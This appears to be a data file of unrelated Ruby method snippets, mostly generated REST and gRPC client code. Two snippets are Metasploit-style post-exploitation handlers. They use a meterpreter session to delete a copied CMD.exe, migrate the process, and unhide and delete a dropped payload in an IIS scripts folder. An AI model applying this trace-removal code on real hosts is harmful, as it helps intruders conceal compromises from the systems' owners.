"def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/cloud/apigeeregistry/v1/registry_service_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n [email protected](\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @location_client = Google::Cloud::Location::Locations::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @iam_policy_client = Google::Iam::V1::IAMPolicy::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @registry_stub = ::Gapic::ServiceStub.new(\n ::Google::Cloud::ApigeeRegistry::V1::Registry::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end",
"def unsupported_client\n\n end",
"def update_capability_switch_descriptor_with_http_info(moid, capability_switch_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_switch_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_switch_descriptor\"\n end\n # verify the required parameter 'capability_switch_descriptor' is set\n if @api_client.config.client_side_validation && capability_switch_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_descriptor' when calling CapabilityApi.update_capability_switch_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_switch_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_switch_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def update_capability_sioc_module_capability_def_with_http_info(moid, capability_sioc_module_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_sioc_module_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_sioc_module_capability_def\"\n end\n # verify the required parameter 'capability_sioc_module_capability_def' is set\n if @api_client.config.client_side_validation && capability_sioc_module_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_capability_def' when calling CapabilityApi.update_capability_sioc_module_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_sioc_module_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_sioc_module_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_capability_sioc_module_descriptor_with_http_info(moid, capability_sioc_module_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_sioc_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_sioc_module_descriptor\"\n end\n # verify the required parameter 'capability_sioc_module_descriptor' is set\n if @api_client.config.client_side_validation && capability_sioc_module_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_descriptor' when calling CapabilityApi.patch_capability_sioc_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_sioc_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_sioc_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def resident_credential; end",
"def update!(**args)\n @app_capabilities = args[:app_capabilities] if args.key?(:app_capabilities)\n @app_capabilities_delta = args[:app_capabilities_delta] if args.key?(:app_capabilities_delta)\n @app_integrations_settings = args[:app_integrations_settings] if args.key?(:app_integrations_settings)\n @car_assistant_capabilities = args[:car_assistant_capabilities] if args.key?(:car_assistant_capabilities)\n @clock_capabilities = args[:clock_capabilities] if args.key?(:clock_capabilities)\n @conversation_version = args[:conversation_version] if args.key?(:conversation_version)\n @cross_device_execution_capabilities = args[:cross_device_execution_capabilities] if args.key?(:cross_device_execution_capabilities)\n @gacs_capabilities = args[:gacs_capabilities] if args.key?(:gacs_capabilities)\n @gcm_capabilities = args[:gcm_capabilities] if args.key?(:gcm_capabilities)\n @home_app_capabilities = args[:home_app_capabilities] if args.key?(:home_app_capabilities)\n @live_tv_channel_capabilities = args[:live_tv_channel_capabilities] if args.key?(:live_tv_channel_capabilities)\n @oem_capabilities = args[:oem_capabilities] if args.key?(:oem_capabilities)\n @on_device_assistant_capabilities = args[:on_device_assistant_capabilities] if args.key?(:on_device_assistant_capabilities)\n @on_device_smart_home_capabilities = args[:on_device_smart_home_capabilities] if args.key?(:on_device_smart_home_capabilities)\n @on_device_storage_capabilities = args[:on_device_storage_capabilities] if args.key?(:on_device_storage_capabilities)\n @operating_system = args[:operating_system] if args.key?(:operating_system)\n @ordered_live_tv_providers = args[:ordered_live_tv_providers] if args.key?(:ordered_live_tv_providers)\n @selina_capabilities = args[:selina_capabilities] if args.key?(:selina_capabilities)\n @settings_app_capabilities = args[:settings_app_capabilities] if args.key?(:settings_app_capabilities)\n @supported_client_op = args[:supported_client_op] if args.key?(:supported_client_op)\n @supported_features = args[:supported_features] if args.key?(:supported_features)\n @supported_msg_version = args[:supported_msg_version] if args.key?(:supported_msg_version)\n @supported_provider_types = args[:supported_provider_types] if args.key?(:supported_provider_types)\n @surface_properties = args[:surface_properties] if args.key?(:surface_properties)\n end",
"def delete_capability_switch_capability_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.delete_capability_switch_capability ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.delete_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.delete_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#delete_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def capability\n one_data_response(\"CAPABILITY\").transform{ |response| response.data }\n end",
"def issue_erequest(agent_request)\n agent_request[:occ_host] = Occ::Application.config.occ['server_host']\n agent_request[:occ_port] = Occ::Application.config.occ['server_port']\n agent_request[:info] = agent_info if agent_info\n agent_request[:user] ||= self.user.email if self.user\n # agent_request[:password] = password\n conn = nil\n stat = 'error'\n begin\n # load 'rclient.rb' # debug\n EventMachine::run {\n conn = EventMachine::connect name, port, OatsAgent::Rclient, nickname, agent_request\n # Need to terminate effort in case host name or else is bad.\n EM.add_timer(Occ::Application.config.occ['timeout_waiting_for_agent']) {conn.close_connection }\n }\n rescue Exception => exc\n @message = \"#{exc.class} -> #{exc}\"\n if exc.message == 'unable to resolve server address'\n @message << \", trying to reach host: #{name}\"\n Rails.logger.error 'ERROR: ' + @message\n else\n Rails.logger.error 'ERROR: ' + @message\n Rails.logger.error \"#{exc.backtrace.join(\"\\n\")}\"\n end\n end\n if conn\n resp = conn.response\n if resp\n if resp[:is_busy]\n stat = resp[:is_busy]\n else\n stat = 'waiting'\n end\n else\n stat = 'dead'\n end\n else\n resp = { :error => \"#{exc.message if exc}\"}\n end\n self.persisted_status = stat\n save self\n if agent_request[:command] == 'results'\n unless resp\n Rails.logger.warn \"Machine #{self.name} did not respond to erequest #{agent_request.inspect}\"\n end\n return resp\n else\n return stat\n end\n end",
"def update_capability_sioc_module_descriptor_with_http_info(moid, capability_sioc_module_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_sioc_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_sioc_module_descriptor\"\n end\n # verify the required parameter 'capability_sioc_module_descriptor' is set\n if @api_client.config.client_side_validation && capability_sioc_module_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_sioc_module_descriptor' when calling CapabilityApi.update_capability_sioc_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_sioc_module_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_sioc_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_sioc_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_capability_server_schema_descriptor_with_http_info(moid, capability_server_schema_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_server_schema_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_server_schema_descriptor\"\n end\n # verify the required parameter 'capability_server_schema_descriptor' is set\n if @api_client.config.client_side_validation && capability_server_schema_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_server_schema_descriptor' when calling CapabilityApi.patch_capability_server_schema_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ServerSchemaDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_server_schema_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityServerSchemaDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_server_schema_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_server_schema_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def interfaces_list\n\t\t[\n\t\t\t{\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'REST API Structure and Capability Discovery'\n\t\t\t}\n\t\t]\n\tend",
"def update_capability_server_schema_descriptor_with_http_info(moid, capability_server_schema_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_server_schema_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_server_schema_descriptor\"\n end\n # verify the required parameter 'capability_server_schema_descriptor' is set\n if @api_client.config.client_side_validation && capability_server_schema_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_server_schema_descriptor' when calling CapabilityApi.update_capability_server_schema_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ServerSchemaDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_server_schema_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityServerSchemaDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_server_schema_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_server_schema_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def reload!\n ensure_service!\n @grpc = service.get_session path\n @last_updated_at = Time.now\n self\n rescue Google::Cloud::NotFoundError\n labels = @grpc.labels.to_h unless @grpc.labels.to_h.empty?\n @grpc = service.create_session \\\n Admin::Database::V1::DatabaseAdminClient.database_path(\n project_id, instance_id, database_id\n ),\n labels: labels\n @last_updated_at = Time.now\n self\n end",
"def on_new_session(client)\n\n if client.type != \"meterpreter\"\n print_error(\"NOTE: you must use a meterpreter payload in order to automatically cleanup.\")\n print_error(\"The copied exe and the payload exe must be removed manually.\")\n return\n end\n\n return if not @exe_cmd_copy\n\n # stdapi must be loaded before we can use fs.file\n client.core.use(\"stdapi\") if not client.ext.aliases.include?(\"stdapi\")\n\n # Delete the copied CMD.exe\n print_status(\"Deleting copy of CMD.exe \\\"#{@exe_cmd_copy}\\\" ...\")\n client.fs.file.rm(@exe_cmd_copy)\n\n # Migrate so that we can delete the payload exe\n client.console.run_single(\"run migrate -f\")\n\n # Delete the payload exe\n return if not @exe_payload\n\n delete_me_too = \"C:\\\\inetpub\\\\scripts\\\\\" + @exe_payload # C:\\ ?\n\n print_warning(\"Changing permissions on #{delete_me_too} ...\")\n cmd = \"C:\\\\#{sysdir[0]}\\\\system32\\\\attrib.exe -r -h -s \" + delete_me_too # winnt ?\n client.sys.process.execute(cmd, nil, {'Hidden' => true })\n\n print_warning(\"Deleting #{delete_me_too} ...\")\n begin\n client.fs.file.rm(delete_me_too)\n rescue ::Exception => e\n print_error(\"Exception: #{e.inspect}\")\n end\n end",
"def start(params = {})\r\n # create a DRb 'front' object\r\n watir_provider = Watir::Provider.new(@driver)\r\n @log.debug(\"Watir provider is : #{watir_provider}\")\r\n architecture = Config::CONFIG['arch']\r\n hostname = ENV['SERVER_NAME'] || %x{hostname}.strip\r\n\r\n # setup the security--remember to call before DRb.start_service()\r\n DRb.install_acl(ACL.new(@acls))\r\n\r\n # start the DRb Server\r\n drb_server = DRb.start_service(\r\n \"druby://#{@drb_server_host}:#{@drb_server_port}\")\r\n\r\n # obtain DRb Server uri\r\n @drb_server_uri = drb_server.uri\r\n @log.info(\"Provider started on : #{@drb_server_uri}\")\r\n\r\n # create a service tuple\r\n @tuple = [\r\n :WatirGrid,\r\n :WatirProvider,\r\n watir_provider,\r\n 'A watir provider',\r\n hostname,\r\n architecture,\r\n @driver,\r\n @browser_type\r\n ]\r\n\r\n # locate the Rinda Ring Server via a UDP broadcast\r\n @log.debug(\"Broadcast Ring Server : druby://#{@ring_server_host}:#{@ring_server_port}\")\r\n find_ring_server\r\n\r\n # advertise this service on the primary remote tuple space\r\n @ring_server.write(@tuple, @renewer)\r\n\r\n # log DRb server uri\r\n @log.info(\"Provider registered : #{@controller_uri}\")\r\n\r\n # wait for explicit stop via ctrl-c\r\n DRb.thread.join if __FILE__ == $0\r\n end",
"def modify\n debug(\"#{self.class}::modify\")\n\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n end\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n\n\n\n @payload = {}\n if !($description.to_s.empty?)\n @payload[:description] = $description\n end\n if !($peak_latency.to_s.empty?)\n @payload[:peak_latency] = $peak_latency\n end\n if !($peak_iops_per_tb.to_s.empty?)\n @payload[:peak_iops_per_tb] = $peak_iops_per_tb\n end\n if !($expected_iops_per_tb.to_s.empty?)\n @payload[:expected_iops_per_tb] = $expected_iops_per_tb\n end\n resourceType = \"storageservicelevel\"\n\n if(transport.http_put_request(apiUri , @payload.to_json , resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully modified\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully modified\"\n end\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} modification failed\"\n\t\t else\n\t\t puts \" #{resourceType} modification failed\"\n end\n end\n\n end",
"def reload\n converge_it(\"Reloading #{new_resource.device}\") do\n adapter.disable\n sleep 5\n adapter.enable\n end\n end",
"def update!(**args)\n @required_capabilities = args[:required_capabilities] if args.key?(:required_capabilities)\n end",
"def on_new_session(client)\r\n\r\n\t\tif client.type != \"meterpreter\"\r\n\t\t\tprint_error(\"NOTE: you must use a meterpreter payload in order to automatically cleanup.\")\r\n\t\t\tprint_error(\"The copied exe and the payload exe must be removed manually.\")\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\treturn if not @exe_cmd_copy\r\n\r\n\t\t# stdapi must be loaded before we can use fs.file\r\n\t\tclient.core.use(\"stdapi\") if not client.ext.aliases.include?(\"stdapi\")\r\n\r\n\t\t# Delete the copied CMD.exe\r\n\t\tprint_status(\"Deleting copy of CMD.exe \\\"#{@exe_cmd_copy}\\\" ...\")\r\n\t\tclient.fs.file.rm(@exe_cmd_copy)\r\n\r\n\t\t# Migrate so that we can delete the payload exe\r\n\t\tclient.console.run_single(\"run migrate -f\")\r\n\r\n\t\t# Delete the payload exe\r\n\t\treturn if not @exe_payload\r\n\r\n\t\tdelete_me_too = \"C:\\\\inetpub\\\\scripts\\\\\" + @exe_payload\r\n\r\n\t\tprint_status(\"Changing permissions on #{delete_me_too} ...\")\r\n\t\tcmd = \"C:\\\\winnt\\\\system32\\\\attrib.exe -r -h -s \" + delete_me_too\r\n\t\tclient.sys.process.execute(cmd, nil, {'Hidden' => true })\r\n\r\n\t\tprint_status(\"Deleting #{delete_me_too} ...\")\r\n\t\tbegin\r\n\t\t\tclient.fs.file.rm(delete_me_too)\r\n\t\trescue ::Exception => e\r\n\t\t\tprint_error(\"Exception: #{e.inspect}\")\r\n\t\tend\r\n\tend",
"def validate_registration\n case node['platform']\n when 'windows'\n #if node[:tscm].attribute?(:register_status)\n if ((node['tscm']['regStatus']).to_s == 'success') \n node.set['tscm']['regHealth'] = 'ko'\n Chef::Log.info('TSCM registartion already successful thus skipping validation to check the registration success')\n else\n ruby_block 'register_validate' do\n block do\n # powershell_out(\"mv #{node['tscm']['register_log']} C:\\\\register_report\")\n if ::File.exist?(\"#{node['tscm']['register_log']}\") && ::File.readlines(\"#{node['tscm']['register_log']}\").grep(/Added client: /).size > 0\n Chef::Log.info('TSCM agent registered successfully')\n node.set['tscm']['regStatus'] = 'success' && node.set['tscm']['regHealth'] = 'success'\n # node.set['tscm']['regHealth'] = 'success'\n else\n if ::File.exist?(\"#{node['tscm']['register_log']}\") && ::File.readlines(\"#{node['tscm']['register_log']}\").grep(/The client is already registered /).size > 0\n Chef::Log.info('The client already registered with TSCM, Skipping all the steps.')\n node.set['tscm']['regStatus'] = 'success'\n node.set['tscm']['regHealth'] = 'ko'\n else\n Chef::Log.info('TSCM agent not registered, Manual Intervention needed to check further.')\n node.set['tscm']['regStatus'] = 'failure'\n end\n end\n end\n action :run\n end\n end\n end\nend",
"def allow_multi_install\n refresh\n @allow_multi_install\n end",
"def create_capability_switch_capability_with_http_info(capability_switch_capability, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.create_capability_switch_capability ...'\n end\n # verify the required parameter 'capability_switch_capability' is set\n if @api_client.config.client_side_validation && capability_switch_capability.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_capability' when calling CapabilityApi.create_capability_switch_capability\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchCapabilities'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_capability)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchCapability'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.create_capability_switch_capability\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#create_capability_switch_capability\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def capability_params\n params.require(:capability).permit(:affordance_id, :setup_id, :verification_status)\n end",
"def query_regs\n\t\traise NotImplementedError\n\tend",
"def capability imap, res = nil\n return imap.capability unless res\n\n data = res.data\n\n if data.code and data.code.name == 'CAPABILITY' then\n data.code.data.split ' '\n else\n imap.capability\n end\n end",
"def unregister_capabilities(methods); end",
"def restoreReqIds(reqIdHash)\n reqIdHash.each { |reqId,envId|\n env = self.getEnv(envId) \n if env == nil\n $Logger.error \"Unknown envid #{envId} returned by GS during synchronization.Should not happen. Forcing cancel of the environment.\" \n $gsProxy.cancel(envId)\n next\n end\n env.addgsToken(reqId) \n }\n end",
"def query_capabilities\n write(START_SYSEX, CAPABILITY_QUERY, END_SYSEX)\n end",
